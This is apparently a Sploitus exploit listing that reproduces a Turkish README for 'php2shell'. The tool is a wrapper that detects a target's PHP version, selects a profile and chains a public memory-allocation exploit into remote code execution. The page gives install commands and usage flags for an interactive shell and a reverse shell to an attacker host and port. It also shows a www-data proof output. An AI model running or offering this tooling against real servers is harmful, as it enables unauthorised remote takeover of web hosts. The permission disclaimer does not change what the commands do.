Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 24, 2026

> **Yalnızca sahibi olduğunuz veya yazılı izin verdiğiniz sistemlerde kullanın.**

devploit'in toolkit'i güçlü ama kullanmak için profil adı, mimari, offset gibi

detayları bilmek gerekiyor. Bu sarmalayıcı hedefin PHP sürümünü okur, doğru

profilip seçer, gerekirse Docker'ı kurar ve sonucu tek komutta verir.

git clone ~/php2shell

cd ~/php2shell && python3 tools/bootstrap_upstream.py

git clone ~/php2shell-kit

sudo ln -sf ~/php2shell-kit/php2shell /usr/local/bin/php2shell

Ya da `php2shell` dosyasını toolkit dizininin yanına koy — kendisi bulur.

php2shell -u # sürümü tespit et, profili seç, exploit et

php2shell -u --check # sürüm/açık kontrolü (sömürü yok)

php2shell -u --assess # davranış değerlendirmesi (sömürü yok)

php2shell -u --shell # interaktif komut döngüsü

php2shell -u --rev --lhost 1.2.3.4 --lport 4444

php2shell --doctor # ortam tanılama

- Docker yoksa kurar, daemon kapalıysa başlatır

- Hedefin `X-Powered-By` / `Server` başlığından PHP sürümünü okur

- Sürüme + mimariye uygun doğrulanmış profili seçer

- Önceki denemeden kalan `lab/rce/out` ve `offsets.env` durumunu temizler

- Başarısız olursa lab'ı tazeleyip 3 kez dener

| Yetenek | CVE-2026-109618 | CVE-2026-109619 |

| Sürüm kontrolü (`--check`) | evet | evet |

| Davranış değerlendirmesi (`--assess`) | evet | evet (FPM stale-state sinyalleri) |

| RCE zinciri (`-u`, `--shell`, `--rev`) | evet, mod_php profilleri | **hayır** |

Dürüst olalım: elimizdeki doğrulanmış zincir mod_php tarafı (109618). PHP-FPM

tarafı (109619) `--assess` ile değerlendiriliyor ve "RCE doğrulandı" iddia

etmiyor. Sahte bir zincir yazmaktansa sınırı söylemeyi tercih ettim.

[*] tespit: PHP 8.4.26 / amd64 -> profil php-8.4.26-bookworm-amd64

PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lab: `php:8.4.26-apache`, izole Docker container, `uid=33(www-data)`.

Aynı labda `8.4.27` (yamalı) zinciri stage 1'de düşürüyor.

- Docker (yalnızca `-u` / `--shell` / `--rev`)

- Exploit zinciri build'e özel: yanlış imaj etiketinde stage 1/3 tutmaz.

- Sürüm tespiti başlığa bağlı; `X-Powered-By` gizliyse sonuç yok.

- Dağıtımlar yamayı upstream sürümü değiştirmeden verir

(Ubuntu `8.3.6-0ubuntu0.24.04.13` yamalıdır). Paket sürümüyle teyit edin.

- [devploit/php2shell]( — araç seti (MIT)

- [9bie/php2shell-bypass-aslr-exp]( — public exploit

MIT — yalnızca bu depodaki sarmalayıcı için geçerlidir. Altındaki toolkit ve

upstream exploit kendi lisanslarına tabidir.

Extracted Entities